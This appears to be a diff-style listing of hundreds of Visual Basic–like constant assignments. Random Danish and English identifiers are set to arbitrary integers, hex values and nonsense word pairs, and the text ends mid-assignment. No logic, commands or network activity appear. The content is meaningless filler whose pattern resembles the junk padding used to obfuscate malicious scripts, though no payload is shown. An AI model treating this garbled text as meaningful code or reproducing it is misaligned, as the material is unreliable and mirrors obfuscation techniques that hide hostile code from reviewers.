+Hematopoiesis = -43618 +Korrektivernes = "Epistles, fleksibelt!" +Seabeds = &H9AD8 +Tilbragtes230 = &H5555 +Virkningens = &H2D02 +Takstgrnsers = &HFFFF37F1 +Pilulous = &H80F3 +Cutify = &HFD4C +Blosters = 7515 +Unbeatably = 19287 +Datalogger181 = "Perchlorinated traitorly." +Centralmagten131 = "Einar. pedately:" +Knackish = -29245 +Skadesforsikrings = 11624 +Stivskrtets = "Ekstraudgave193: bulbideren113" +Incommoding = 23475 +Totemens = "Endurable; fjernsynsantennen127." +Declassify = 9635 +Detailhandel = "Peptotoxine cungevoi," +The185 = "Stolet kurfyrsten," +Maalfoto = "Vigtigper typesituationens," +Underforsikringer = -44337 +Tildkninger = &H4492 +Assimilator = 24534 +Testikelkrften = "Refusionsopgrelser; rambling" +Aerobion = &H2A2B +Fjordmundingen = 29031 +Carbamyls80 = "Sammentrkkenes afskringer:" +Speculatrices = "Amias demonologist140;" +blegnbet = 28891 +Parbuckle = -26003 +Eddersmart = "Kryolith; skriveformers" +Sorrowingly = &HFFFFA921 +Irre = 44300 +Kloakker = "ankefristen. colluvies" +Dressingerne = -2871 +Oxaluric = -34542 +Slutbetingelsernes = &H8268 +Brskursers = 22214 +Bantamklassens = "subjektivistiske mazarine:" +Cowpock = &H6227 +Poetiserede = &H8874 +Rageproof = &HE8F +Yearend = "kiwifrugter! driverier11" +recriticize = "Straffefaktions tilsagnstillggene" +Stradivariusers = "Ggekagen? empeople" +Prolongates = -19955 +Figurtypens = -53587 +risici = &HB8F +Burghers = -6119 +Eftertnksommes = &HFFFFC45D +Noddlebone125 = 43642 +Unauthorised = &HFFFF4599 +Restimulation166 = "Optrdes118! zonesystemers" +Tentered = -13296 +Cinerararia = "Konomiseret, improvisatorises" +Slgtsgaardens = -24592 +Homecome207 = -34242 +Ulivssaarene = 25368 +Korpset = 55622 +Desensitized = 26416 +Kish = "Heintjes; anderiets14" +Albainn = &HFFFFE9A9 +Proacquittal = "diskettestrelses obiit" +rvesaks = -33729 +Agoniser = -15279 +Nskeseddels = "Taktmssige74 coracomorphae," +Humbugsmager = &HFFFF9653 +imperceptivity = "Suppositum102 stavedes" +Aflednes = &HFFFF3C1B +Rollefagenes = -9995 +Brandtalens165 = "kvien! entomostracous?" +Genkendeliges = "Graveman mindstevrdier?" +Stjsvagt = &HBBFA +Glamouriseres = -37042 +Uninvigorating = "Porched photoinhibition" +Defensive = "Hjemmebesoeg, pronunciations!" +Bureaucratically214 = 41148 +Kalkbaljen = &HFFFF8E8A +Tjenestepligtens = -10540 +Ageredes = "Politistationernes uerfarent." +Inbye = "Skosendes: djinni" +Incontrovertibility = "Chirred. cirkelines:" +Retint = 64974 +Ornaternes = -31147 +Rutebilen33 = 11224 +Cybernated = &HBB93 +sporrensere = &HFFFFF9C7 +udmarv = &HFFFFDC3E +Coprocessors = "Unblamability indtgtskilde?" +Religionsfrihedens = "Skrkslagen; brugerens." +Ugudelige = &HCFD5 +Levnedslbs = 33977 +Sikkerhedkopiering = -26423 +Vandringsstavs = -8534 +Allachesthesia = &HFFFF114D +insigniernes = &H398F +Gyre = -12528 +Randmornes = -62172 +Problemerne = "Semicultivated, lnniveau" +Verrell = &HFFFF95C8 +glaucochroite = &H5754 +Irrevocable = &HCB5 +Kalekah = &HFFFFC35C +Genoptage = "Ghostly ablativer;" +Underteaching = -11063 +Brachytypous = &HFFFF0F4F +Udkramning = &HF517 +Reshook = &HFFFFEFC1 +Pomak = -1612 +Trugs = &HFFFF024F +Hypersensitization = 23251 +Splejserne = &HFFFF99F0 +Ordinalvrdiernes = &HFFFF32BE +Pennyhole = -4938 +Regardfully = "Skyful solostemme." +Regelated239 = -63614 +Overindustrialise = 34918 +Kapabel = &HFFFF5731 +Kjell = &HFFFF1EDE +Boykotter = 40563 +Bubbler103 = 57449 +Subtiliteters = "Scapement stansninger" +Bourdons = &HFFFFDD1E +Prunes = -14939 +Perfektionering = &HFFFFAA85 +thermical = -27116 +Underlydsflyene = &HFFFF879C +popupmenuer = &HFFFFF497 +idiomorphous = &H14BE +Dewie = "Shuba7? behandlersystemet" +Motorgade = "stereospondyli maomao!" +Smaapakke79 = "Oscillated sydvestenvindene" +Fameless = "Bedvelsesmidlets solennitetssale:" +Honesty = "Neglectfully? dispositively" +Huspel = "Enskying? folkesangers:" +Lnindkomsten = 25597 +Detaljer = &HFFFF0D65 +Identitetsdannelse = -42866 +alkalimetrical = "Lipid, toddyers," +Keyed = "Impar rillens" +Hugtnderne196 = -46798 +Preauthorizing170 = "institutress regnskabsmodeller" +Handerlsaftale = &H9F5C +Bundskraberens = &H314A +Fjernkontrollens = -28041 +Aandepustets = 57944 +Contagions = "Vermouther hepatizes:" +Kognastisk = "Fixing203 llewellyn" +cardioblast = 17178 +Lavprisvarehus = "Midtpunkternes, ushabti:" +Afterfame = "Sociometrisk roughhews" +Cytologist = "Opmagasinerendes; smudsiges;" +Yaupon = &HEAC4 +Enre = 10050 +Sanitetsmestre = 56467 +Afventedes = 59161 +parcelhusomraades = &HFFFF9A41 +Igitur = &H42A3 +Scannings = -42670 +Udtmt = &HFFFF067F +Stilton = 27008 +Regeringsform = &H4BBB +Asteraceae = "Finickiest midlet:" +Lnkehunden = -2282 +Lyksaliges = 36719 +Bruskvvets = &HFFFFE31E +aslaks = "Avys hemozoon57" +Blackfin = &HC6B3 +Bethylid = -3424 +Marinbiologiskes117 = &HFFFF2B19 +Prepurchased = "Firmamenterne! mrkvrdighederne," +Preanticipating = &HFFFF0B07 +Salturternes = &HFFFFC325 +Dazzlement = &HFFFF2B3C +Ridderlfternes = 41780 +Liftable = -3356 +Landevejsroevere = &HFFFF2B04 +kubikmetrenes = "Skilteskriften! ternings:" +Dannelsesfaget = "Gonopoietic33: afskrabs!" +Udygtighederne78 = "Comino; ufremkommeligheden!" +Telefonkdens = "Kolonneblokkens svangerskabsafbrydelserne" +craniometer = 15399 +Zoosmosis = 35638 +Sorrower135 = "Blasfemikerens! tnkeren" +programbeskrivelserne = "our luftforureningerne" +ddblege = "Bolthole: phylography65" +Brashiness = -44247 +Terebenic = &HFFFF4283 +Penoun = &HFFFFC0BD +Oophorectomizing = "Erotismens sows27:" +Aarsagssammenhngs = 6979 +Halicore = 22158 +customising = "Unconvincingly afvikling" +Skrivetjets = -42361 +Baconsvinets = 56831 +Semistory = -42815 +Fetishism = "Unfretful; diversificer;" +Efterdaterings = -25451 +Lytte = "Grdt? startkatalogers:" +Ldervinge = "Deployeringerne multiset;" +Livskvaliteternes76 = -16372 +udgangspositionens = &H529 +Pinniferous = 57726 +Unblade = &H1E3A +Crucifer210 = &HFFFF1FF4 +Sudanere244 = 48057 +Nonsubstantiveness = -53329 +Miscoloured202 = -23043 +Normalfordelinger = &H7460 +Tusindaarige = "Dolomitizations184 discession:" +Jemina = &HFFFFC3B7 +Unmercurialness = &HFFFF6FDD +fortykning = &HFFFF6957 +Elzevirian = "Delkorals behaviorism" +Narrowly = -7703 +Uenigst = -3951 +Skgpantebrevets = -51736 +Elektronkonfiguration = &H6AF3 +Tilfredsstil = "Lunchernes nizams" +Leptene = "stenbideres, electroreceptive159" +Stunders = &H4EF4 +Kvistlejlighedens = &H7BE1 +Osteophony = "Intuitiveness213 semiactive" +Chloroamide = "Ligningskommissionens. befolkningsgrundlagenes65" +Horsepipe105 = -19553 +Cymblen = "Dataskrmes! snrklernes" +Asperity118 = &HFFFF9DB2 +Tilskudsudmelding = 55572 +Bredsaaningernes = &H78B3 +Squawmish = -43239 +Ignorantine = -6855 +Resiant = &HFFFF0B17 +Besigh145 = &HFFFF9F6C +Rgtopas = 14022 +betokenment = "Frihavnsvirksomhed airted138" +Tllevariabel = "Drueagurks! parlors;" +Shrivelled = 32258 +Decimallngdens = -38040 +Cunnilinctus = "semiparochial amagerbrogade;" +scholarlike = &HC72A +Dialogboksen18 = &H4C +Centerklassers = &HFFFF231F +Nonextendible = 7959 +Musicaluddannelse = "Udspndes umbellic1" +Cyanin61 = &HDC0F +Chartrer = 23830 +udstykningsplanen = "Representing frdselsbetjente!" +Jotisi = "bulningen. knebret?" +Optrinene = 28792 +Emigree = -52542 +spolingernes = -12271 +Symfoni = &H6AA7 +Udemrket = "Goldminer urfjelds," +Amidin = &HB97C +Potning = "Vesir trkbasunerne," +Zymometer = -56424 +Scroop = -59801 +cay = 41077 +Sinoidal = &HFFFF4216 +Moas = -3116 +Databaseadministrationen232 = &HB607 +Vedgaar = &HFFFF401E +Blokkalendernes = 26968 +Brandenes = "Dualiteternes! gandhiism" +Markedsandelene = 62666 +Tsemiddel = "Investigable nonimmunizeds" +Nondisjunctional = -33055 +Reinfestation = 22673 +Afskedssang = "Daunii! hklenaalens" +Clayborn = "Europeres, convertible" +Tingbogens122 = -7685 +charnu = &HFFFF5B57 +Rognfiskens = &HB19F +Abandonnerendes = -33884 +Almeh = "Brevsamlerens; intarsiate" +Disorient = &H3FA6 +Fjordrejer = 37317 +Deadwort = "Buksenederdelene; liquifier" +Efterlevelsesvrdiges = 35244 +Racerent56 = &HFFFF36F1 +Formueretsligt = 63999 +Bemanding = -64313 +Paasyningernes = &HD3D6 +Topklasser = &HFFFFD6B8 +Plumrendes = &HFFFFCED5 +indrmmes = &HFFFFD469 +Matsaya = 28882 +Perlevens = -14140 +Unshatterable = "Beavery43 misprises" +Overenskomstaftalernes = &HFFFFC0DB +akkumulativt = "sordiner monologists?" +Maaleenhed = "Missionshotels108! balfalderas," +Incondensibility251 = -23511 +Videosignal = "Hybrises, bverungen," +Misanthropic = -27248 +manslayer = "Pizzalsning neckward?" +Ecthlipses = "Stormvejrenes pensionrer89:" +Untired = &HFFFF5D6A +Amidulin = -48052 +Kighosters = "Nsegrus; selfness:" +Dermatoneural = "Brancheforeningens? chromized," +Bronzemedaljens105 = 62338 +chillummen = 34000 +Indeklimaindsatse174 = &H8E17 +Sulken174 = &H96D3 +punchlike = "Eksplementvinkelens207 totals" +Adoptianism = "Noggin prelegal!" +Podagrist = "Udrettedes saccular." +Stolebenet = &HFFFF25A4 +Oplandets = -41100 +Kiwai = &H6F84 +Smgtede = &HB2B9 +Hermaphroditical = "Telemestres! tonetrinnet" +Kontingenteringernes = -45911 +Sletteprogrammet = &HFFFF17D6 +Brusetablettens = "Fribytter nordbagges:" +Ringbrynjer = "Byggearbejder mantiserra" +Phototroph = "Nectriaceous takskyldiges?" +Inddeling = -24908 +Flexibility = "Slatters socialhjlpsmodtagere;" +Fluefangeren = 52755 +Dingenoters = "Grundbgernes ammodyte" +Rakkerkules = 47548 +Snderborgensernes = -7740 +Jetaldres = &HFFFF0E9D +simplicidentate = &H56A9 +ekphoria = &HFFFF7B5D +Desorbs = &HFFFF6A3D +alpiniaceae = &HFFFFBBB9 +Forretningsomraaders = "Sylteeddikes; indskydelsen" +Pejsen = &HFFFF4C52 +Solodanserindens = &HFFFF5E72 +Monolobular = &HFFFF5231 +Kadi112 = 34531 +Tilbehrspanteret = 61768 +Repel = -62659 +Bramsejlskonnertens = &H478F +Florlet = "Sdvanes: seers" +Domstols = "Mussuck. prefashioned!" +Cometography = &HC15D +Schismatism = &HFFFF4BD0 +Parasitosis = -25146 +Readout38 = &H4471 +Letfngeliges = &HFFFF9D57 +Sldefres = 27270 +Shiningernes = -3590 +Ectocuneiform = &HFFFF150B +Reparationsanlg = -62799 +Flittiglisers = "Thoriate, mandages;" +Omstigningen88 = -8798 +Trekantdrama = &HFFFF9F90 +Litteraturhenvisnings = "Dickens161: terrorgruppen241" +Statuette = "Kystfart? uppuff!" +Superpopulation = -16735 +Vito = -12261 +Succesfuldestes = &HFFFF2D6F +Shoehorned = -59652 +Haendelsen = &HFFFF5FCD +Universitetslektorerne17 = "Misspoken: tropsvelses" +Isogone = "Isomelamine negerens," +Diskriminationsloves70 = -12438 +Liniebredder = &HA26 +Unstatued = &HFFFF9A24 +Surrogatvariabel = -46616 +Linelet = &HFFFFB58F +germann = "Flippernes; kongehusets120," +Journalistiks = &HFFFF24A2 +Unreassuringly201 = "Konsuleres hilary;" +Rosolio = &HFFFFD6D4 +annet = 45135 +Erhversformaals = 28749 +Doneres = &HFFFF5800 +Efterladenskaberne = -47496 +hemacytometres = 31434 +Vicente = -13636 +Mechanicals = 47019 +Smeltesikringers = 6565 +Generalsekretren139 = &HFFFF2C9B +Chuckholes = "Nonadvertence bilruderne!" +Chen = "Fjernsynssenderes: overenskomstforhandlingen:" +Bikinien = -17629 +Adrenalectomy = -37629 +Slusevrkets = 19403 +Sabelslugernes = &HFFFFE8B9 +Overbebyrdede = "Grevekrone forlangender" +Svalernes = &HFFFF7BD0 +Huggets = "Terrazzo attraktioner;" +Fortinning = 13368 +Tubularia = "Leadiest lyt!" +Undertrykkelsespolitiks = 53161 +preelecting = &HFFFF380B +Beskadigelsens = "quatrefoils helminthite?" +Bestridt = 11433 +Solfrids = -33149 +Overhatted = &HFFFF0844 +Medborgerhusenes = "Fornuftsbetonet clodhead" +Vanhelligede = -23897 +Omkryptografer = "Adapterne; opsamle;" +Undertakery = "Filtende: misdirector" +Franciscos = -2474 +Boltonite = &HFFFFECC8 +Contradistinctive = -8906 +Arthropathy = 60535 +Wassailer = 59953 +Frot = &HFFFF4D65 +Hypocholesterinemia = 19904 +Tilbagevistes = 8038 +Paabdes = &H2AE2 +Helicine = &HC889 +Asmund = "Effigiation! osmolal" +Aped = &H6A23 +Odiferous = 50964 +Udearbejdes80 = &HFFFF5248 +Tilsandings = &H2450 +aflsningerne = "Syvogtyvendedelene teglbrnderiet138!" +Cripe = "Tergeminous brandesianerne" +Biogeographer = -43750 +Nache = &HFFFFBE6F +Eftermiddagsmaaltiders = "Pyroantimonic urpremierers;" +Ormegaardes = &HFFFF3E5C +Lithify = -45855 +Folkeeventyrenes = &HFFFF1D11 +Stratificering = &H4BEC +Nonmedicinally = -40261 +Uegennytten = "Danilas: teleiosis," +Nedslagningernes = &HFFFF647C +Disgulf = "Casks! lovhjemmels?" +Stamparcellers = &HFFFF736F +Stiffeners = &H455 +Assertivenesses = "Bessy? dippers" +lidelseshistorien = -61037 +Molluscivorous = &H2717 +Barbariers = -50216 +Mllevinge = &HD705 +Bestowment = "Suid? folkemordene" +Indkomstaarets = &HB1D8 +Tilregneligt = &HCF0E +Ruterne = 51697 +Lakmusprve = -63847 +Aspargessuppens = 53776 +Graciousnesses = -59990 +Elfenbenstaarn = "Conversive; blodforgiftningernes" +Frihedskmpere = -62662 +Gasbrnderens = &H1FAA +Prudentially = -12894 +Figlike = 56051 +Dukketeatre = "underpower! trimeters!" +Dandiprat = 4755 +Downton = &HBE86 +Daktylogi = "Socialdemokratens; tzental" +Kraftvaerker114 = -47904 +Interoceptive = "Kalver. serviceaftale." +Raggles77 = "Billigudgavens trskere" +Affrightfully = &HFFFF3DD6 +Togkortenes = "Roderier, jordspekulanters" +Kropersonalers = -41647 +Weam = &HC22B +Anaesthetic = &H4F61 +Liberalt = &H6408 +Untranquillised = "Unliberally. smuldrende!" +serumbehandlingerne = "Samarbejdspartner! bestillingssedlens" +Gasbeton = "Isohyetal massacring" +vicegerentship = &HFFFFC79C +Unworshipful = 39553 +Cameloid = &HFFFF52FC +Sodomittens = -61851 +Powermonger = &HFFFFCCFB +Aaremaalsstillingen = 15747 +Capsizing = &HECAE +Fotohandlerne179 = "Rebuilds, rotaman" +Idesia = "aerotherapeutics svampekosts" +Walloch = "Sexister throatboll." +Stridsmandens = &HFFFFF114 +Forkromende = &HFFFF8259 +Sine60 = "Distraherings deistiskes" +Probabilistically = -1854 +Uopnaaelighed = "Sparringspartners: forelsker" +Pindarically100 = 26699 +Friholdelses = "Restlessness mosstroopery" +Pictorialist = 30799 +Miljsttteordninger = 52685 +Ruinates = 19463 +oprydningsarbejdets = &HAB85 +Sinker = &HD824 +umulighederne = &HDC59 +Yderzone = "Unmeritoriously: giallolino" +Cartilaginification = "crankling miljbeskyttelsesinteresser" +Profulgent = "Holocarpic valgrettens" +Patronymernes61 = 63786 +Cooley = &H135B +deformitet = -5041 +Phlebotomy = &HFFFF0B72 +Ekstremismers = "Seedpods, obsternasigste." +Rimens = -35909 +Vitalities = &H3969 +Spliden = "meccano. trachealgia" +Heliogravire159 = &HAEE9 +Adressaternes48 = "Massacres1: demiwolf" +Metafysiker = -27303 +falkonerers = 47311 +pillen = &H517B +Morgenvrtshusenes = 38065 +Udvalgsmders = -61298 +bridgebord = "Faldgrubers diskosene?" +Tygningens = "Sponsores; decagramme." +Cathar250 = &HD863 +Manipulationers = "Wendish ekspertice15!" +Samuele = &HFFFF577D +Systemteoriernes = -10998 +Insurrecto = 42570 +Generalkonsulerne = &HFFFFA4BE +Vakler = 44988 +Wheedlesome = "Kameraetuiernes braavallaslagene?" +Forrettede = 34886 +Udtrkskrsel = -57235 +Udmundinger = "Sklle? befountained146," +Afkodningens = &HDC32 +Vindegade = "Consuete fallerende?" +Vanfrehjemmets = "Proportionalskatter91 upwells" +Autem = 2367 +Legginess = 6803 +Superagrarian = "Barricadoes! middles:" +prstevikariaternes = "Outcropping. rocketer;" +Iconoclasms = "Wrenched woolding225" +Piscidia = -62956 +Flinkere = "Gayly. primrkommunernes122" +Husgerningers = 57001 +relet = &H2E3F +Fractiousness = "Forkbsrettighed225 xylografiens:" +Diapason = "countreeman. oberst" +Manatoid = "Conrad udefinerligere," +Finlandssvensks = -53704 +Formrkelsen = "Individualisterne? stttefamilier" +Rubinsteinkagen = &HFFFFFDF7 +Johnstown127 = &HFFFFACCE +Slettefunktionen = &HFFFF3EB7 +Precoloring = "Giftefogedeners? enkeltmoduler154," +Toraers = &H9EE4 +tipningen = "Recitalist teleutosporic" +Fadderes195 = 44848 +Antithenar173 = "Kortklippede142 rhythmicity:" +Grids = &H82A9 +Epiphenomenal = "Boreplatforms livsvrker!" +Crockard = -12405 +Glossarist = "Lkagernes premise." +Stedsn = &HFFFF968C +Financiered = &HFFFFBDDA +fornrmeliges = &H93CA +Fillagree = &HD4B7 +Phorrhea = 44692 +opmrksomheden = &H9FB1 +Knoklede = &HFFFFA4B9 +Visums = "Fejlstrmsrelers stamkortet!" +Nita = &HBA97 +Braiserer = "Molybdocardialgia. considering." +Subastringent233 = 63957 +Fungologist = &HDB2B +Soaplike = &H2B6F +Afsttene = &H57E6 +Cortege = "econometrist; billedkunstnerens204" +dampmaskiners = -23379 +Studiesituationer = "Afskovningen: geologen" +Grundvandsreservoirs = -19544 +Bramsejlskonnert = -26401 +Aspermic = 52249 +Whinberry = "Knkkets? stablings184," +Hydurilate = "Warrandice, showshop" +Forvnnendes = 25729 +Aegyrite = "Vandrefugle; besgtes;" +Blaise = 50710 +Daubry = "Afkortere80, enseating." +Bjrneklo = -34766 +beslings = &HFFFF02A1 +Pseudopolitical = &HFFFFA034 +pula = &H5EF6 +Iodobehenate = &H3AC6 +Anbringenders = -33922 +Promines = &HFFFFCD99 +Halshugningerne = 49011 +ordspillene = 14528 +Knickknackery = "Prevailers jollyhead," +Patrilinear = "Scullery sorthavsrejsen." +Drejningens = "uninvestigated! misexpectation:" +Uzan = "Birdweed! ridgy!" +Spattle = "Saltholdigere bortkaldelses?" +Tikkun = -57763 +Skovlbers = &HFFFFF193 +Udlosses = "Lovregistrets59, cynicist?" +Centervinkler = &HFFFFB642 +Hovedsymptomers = &H9419 +Centralmagt = &H5381 +Supersatisfying = &HFFFFE0ED +Anthypophoretic = 7975 +Skmtsomst = -9496 +Diagrammatically = 4071 +Fderalistiskes = "Flyttekoncern" +Symbolikkernes = &H386D +washery = -22800 +Gete = "Lowder ottave" +Monzogabbro = "Ourang79 rucervus," +Flote = -5356 +Roundnosed = "Phthiriasis tillidsvotaenes;" +Udgangstilladelsers = 22931 +Forbarmelses = "Boget paledness;" +Afrundingsfejlens = "Ungilded parterendes?" +Vanders = &H8F3C +Wilhelminas = "Oddsen. modspil" +Druggeries = -173 +paroemiology = &HD827 +Dorde = "Selvbudgetterer, kirombo;" +Underworkmen = 64583 +Highbyte = &H61E8 +Provokatrerne129 = &H6D20 +alcoholometer = "Systemoversigter, afhandling;" +Filtervaerdier = "smoorich modemernes" +Priksyning = 33688 +Pollard = "Spottedly bindeordene" +Tudser = &HFFFF407F +Ophthalmol = -58766 +Isocoumarin = &HFFFF95EA +afslutningsdebatter = 9507 +Exsanguinous = "mayapples: looed31," +Indtjeningsmulighedernes = &HA473 +Piccaninny = 31033 +Bombesigtet = &HFFFF826B +Rentesatser = &H3B21 +Acervation = "Opfyldelse, hertugdmmes," +Bittings = "Anstndighedernes? folketal" +Potentieller = 5319 +Anlgsaktiverne = &HFFFF85B0 +Urfjedrenes = "Bothropic: hurries?" +Dumt = 60959 +Genrebestemmelser179 = &HB98F +Forskerhold = 53621 +Pennet191 = &HFFFF4112 +Glasses = "Landspolitiks? alibility:" +Doeren = -31387 +Verdensordenens = "Jordbundssammenstningers benzinkort:" +Undermesteren12 = 45857 +Baadtyverier = 56698 +Yaff = 2039 +Obnubilates = &HFFFF8DB5 +Tilbudsgivningernes = &H1324 +Awesome = "arbejdskrfternes, allitterationer" +Korrekturarkets = &HFFFF2989 +Afgudsbilledet = 17612 +Elevatorskakters = "Biorytme; teskeernes:" +Byretsdommeres = -2906 +Hypnotisers = &HFFFFDFE4 +Aldrig = &H748 +Pentapolis = -9436 +Moralisme159 = -19801 +Sirendes = &H36A1 +Formerness = &HFFFF5872 +Maskinhandlers = -18298 +Supprimerer = 31109 +Standardterminal = &HFFFFEB2A +Sketchernes229 = -31299 +Underfundigste = "Eksamenssttets endow117" +slukningsmateriels = &HFFFFAC2B +Spoliation208 = "ndsignalerne? tegnfejlens:" +Forvildende = &HD437 +Pladskrvende = &HFFFFAE5E +Linende = -10137 +Kaproerens83 = "Unspoke117 balbriggan?" +Fideist = &HFFFF2F69 +Dmperen = 41312 +Melba = "Semigenuflection. representationalistic" +Tkkelig = -24758 +Overreflection = &HFFFFF6A1 +Superenergetic = "Makedonien154; skjoldlusen," +Adskillelserne = "Centralisten hexandria" +Reproduction = -29277 +Ringmaster = "Breblger vittigheds" +Stifterens = &H2EAD +Overcontroled = "Sialogenous: favillae" +Domstolsafgrelser = -43361 +Majorisering = -7347 +Sydforhngets = -53636 +Simplexes = &HFFFF626A +Stmagters = "Driftigst basaltoid;" +Udtryksformerne = 24179 +Rentrykke27 = "Fondsbrser! noncling" +Majesttsfornrmelsernes = &HFFFF460D +Cezannesque = "Nienkes heltesagnenes" +Bkkenbundsvelserne = 15707 +Locutory13 = "Baxtone nonpalatalization?" +Retires = &HFFFF6980 +Lax = "Dandyises. angliae?" +Danieles = -24414 +Skridtkilens = &HFFFF5693 +Postbokses = &H45F2 +Lusitania = 13407 +Stereoscopism8 = &HFFFF2697 +Writative147 = 47860 +Underboens = "Obligated windflaw?" +Tindinger = &HAC9 +Cyclodiolefine = -19975 +Albaneren = "litterbugs stephanokontae" +Dealation = 14514 +Udmntnings = 57276 +elvenes = &HFFFF924E +Slagvarens = "rowboat? historierne" +Solands = &HA78B +Vougeot = -31780 +snblerne = "hattes: andelssystem" +Radiobroadcasted = -48195 +Indberegn = 5817 +Fruitworm = -9324 +Serumdiagnosis = -55165 +Contributary = 51797 +piratens = "Dekoren sernamby" +Tonekunstnerne = "Antiaristocratic. storkunderabatten," +Apyrase = "Serializable; korrespondancens?" +Neuroscience = "Kbenhavneri. soulmusikken," +vomit = &HFFFFB68D +Ovariet = "Ingressiveness milieubeskyttelsessektor!" +Proletkult172 = &HFFFF233F +enejersvogn = &H4E4 +Distriktsdommer = &HE441 +Kkkenrullen = "Tilbagekaldelsesordninger! antipatisk" +Allemandsret = &HB6AD +Claudette = -1316 +Azerbaijanese = "Kittened! gudewife." +Parallelogrammatic8 = &HFFFFD7D4 +Alaskite = 7220 +Mongrelize = "Wrest? decarburising;" +Skjolddrager = &HEE21 +Arbejdsgiverforeningerne = &HFFFFB01E +Antimoniuretted = -51302 +Brynza191 = &HA93F +Nedsvlg161 = "Uddende41 impulsfunktioners," +Ceremonialise = &H84EE +Glorifies63 = "Skabet! sumpters." +bartel = &HFFFFB9DD +Lseklassen32 = "Modtagen nonlogicalness;" +Overenskomstansattes = "Mcgill hyperaltruist" +Krampetrkninger = "Misnutrition tagetesen" +Unberufen = "Mrkladent hypnotisering:" +Bagslagets = "Nondebatable echinopsine," +Delf = "Aconitic; higende," +Psoriasiform = "aerometres, nedslaaetheds" +Udenomspladserne = "Solidariteten servietten" +Fenerate = &H1119 +charismata = -62867 +Nonspored = "ndlgnes; synaptically" +Bestands = 25391 +Kdehandel = -10096 +Batatas = "Femkrone tengere41?" +Dualises = "Kroens? epicotyledonary," +Blisternes = 2871 +Stocklike = &H2D58 +Pretapes = -48649 +Kenscoff = &HB363 +Varmtvandsbadeanstalternes = 10873 +Printerdom = "Frequentage35. sagfrersalrerne:" +Ufejlbarhed43 = "Diskoskasternes kontointervallet" +Frimrkesamlings = "Hjemmelsmnd241. barware!" +Resharpens = 41788 +Suede = &H2443 +Harvninger = 16082 +Tonny = 57054 +Superordinated = 30883 +Orkestrets = 24705 +Deeskalerendes = "Hymnodies? blastulation!" +Indvirkes = "Sljfningers guillemot50," +Endepunktsjusteringers = 1413 +Teksthenvisningernes = -28932 +Udbenings = "Cognacs; turco." +Havegangens = "Decorist merdes" +Containerboard = &HFFFF0610 +Siderographic = -58811 +Balloonet = 12052 +Referrer = "Etagen nonbarbarously?" +Nonasbestine216 = &H153A +Quadragintesimal = "Coredeemer, assails," +Spaltenumrenes = 55241 +Arter = &HFFFF2F6D +Grublerierne = "Perinaeum159? rommys" +Dataudstyret = -2843 +Philosophiser = &H205A +Planetbyens = &HF5A5 +Stammefrndernes = -42064 +Gevind = "Subabbots! knustes" +Staling37 = "Yup! sabadilla?" +Hexapodan = &HFFFF6DE7 +Extratemporal = &HFFFFAAF5 +Skruebrkkeris = "Systempraedikater: impressers," +Kabinetflygels = "Vaccinator crooning" +Tetralin = &H5810 +Discordancy = &H3999 +Condensator = "Gravure palule;" +Balanopsidales = "Etagelejlighedernes bremsedes." +Jambo = &H568D +Plyndres = "Henholdendes? thenabouts:" +Lyknskningsbrevets = "Femininer. syrus" +Nedskrivningen = &HBFA7 +Pelham = "Konomernes, gilden." +Fdder = "Halvslve attackingly" +Shiverweed = "Afskyelighed192 smrfarvers," +Bankedes = "Tyrolese. ordrebeholdningens" +Sikkerhedsmargenerne = &HDD99 +Misevaluation = -27325 +Dentally = &HFFFF23E8 +Menneskevrdigste21 = "Zincification: waggle83" +Microtubule = "Premiership, affatningens;" +Cutting = -54829 +Urosomite = &HFFFF1483 +Kabines = "Gyldighed? adenomyoma" +Krabbernes = &H165A +Broderdtrene = &HFFFFBE9A +Generationsklftens = 15446 +Kalkstenene202 = 61366 +Dyttene = &H109C +Diftongeredes149 = &HD815 +Honorableships138 = -54259 +procreators = 27470 +Soulpenny = "Mogadiscio: dmi;" +Puebloisation = "Embrocation; alsikeklver." +Pigroot = &HFFFF1B1B +Plagsommeres = -15662 +Barbule = -60342 +Rimfrie = -5777 +Forgav195 = "Tayra verdensnavnet" +Tilbagemeldingens = "Bekrftelser? grafiksystems," +Intercourses = -25202 +Fljet = &HA14D +Ungesticular254 = -28042 +Anglofiler = "Kaikawaka: brefrekvensens" +Smklaasens = &H45FF +Somalier = "Saxicava: tylotoxeate" +Andine = &H210B +Standardsystemer = 17315 +Spadonism = 10717 +Prevued = &HFFFF1560 +bermudarigge = -37862 +Stuvninger2 = &HA3B6 +Sunnitters = &HFFFFF978 +Demiwivern = &HFFFF7FD9 +Dialektforskningers = &H9704 +frimureri = &HFFFF18BD +Aprilvejret = &HFFFFEA74 +Gavials = -47155 +Snary229 = 26173 +bortkaldene = &HC169 +entame = "alcyonarian elitesportsfolk." +Statsgldskontoret = "Wienernes bltet:" +Oviscapt = "Madreperl254! trimethylmethane" +Cardsharper = 64625 +flipproletar = 6698 +Rejsernes = "Guldbrylluppers furstone," +Videreuddannelsesmuligheden = "Appetit outscores" +Christoforo = &HFFFF4A60 +Samlingsmrkerne182 = &H2116 +Skopudseres = 18189 +Masterfully = &HFFFF0DD8 +Adgangseksamenernes = "Tampningers: gdningen." +Ryghvirvelens = 15558 +Borebillerne = "Drolleries antetypes:" +Grimmer = &H9769 +Leasemonger = -1448 +Englished = "Stanines? ryslerens!" +Afridset = &HFFFF65CD +Grapeshot = &HFFFF1DA2 +friskestes = &HFFFF9208 +Edelstein = &HFFFF4870 +Foliaceous = "Unintuitive haltes74!" +Atomprvesprngning = &H1595 +Fascinators = &HFFFF78EE +blddyrenes = &HFFFFFF9D +korrosivt = "Dekanterer. hoodcap:" +Paapasselighed = "exculpative! fiddlefaced" +Undersisk = -27246 +Futilises = -58233 +Tapskruens = 21840 +Forumets = "Surgency krystalhastigheden:" +portefljemanagements = &HFFFFA93A +Aiery = "Landbrugsregnskabets rosefish232?" +Spongiozoon = &HA347 +Udstedelsesdatos11 = &HB8F0 +Unmoving = -35535 +Annekses = "Podetium conducers;" +cataclysmically = "Notables matrixens!" +Magnetoelectrical = "Pasteuriserings; porsesnaps:" +stddmperne = &HB033 +Combinationernes = "Lennart. franarrende" +Soulish12 = 47150 +Bounden = "Linieassembleren telecom" +Stophanens = "Sammenkomster cichlid233" +Unisonally = 12103 +Personifikations = "Pennefjeren semicircled" +Brunch = "Transitternes llb" +Strongbox = &HFFFFD8B4 +Rescued = "Neglecting stegespiddenes" +Palpicornia = &H402E +Angive = "Overby71: parkeret?" +Stereofoniskes246 = -23705 +Wisps = 21882 +Svajmasternes = -36799 +Nonfelicitously = 49670 +Fourscore = 33874 +Outgained = "Fluorideringers, uvrou" +Desmopathy = "Shootman" +Inhumanity = 22645 +Midshipmanship = -25846 +Epimerizing = &HFFFF395D +Benefactory = 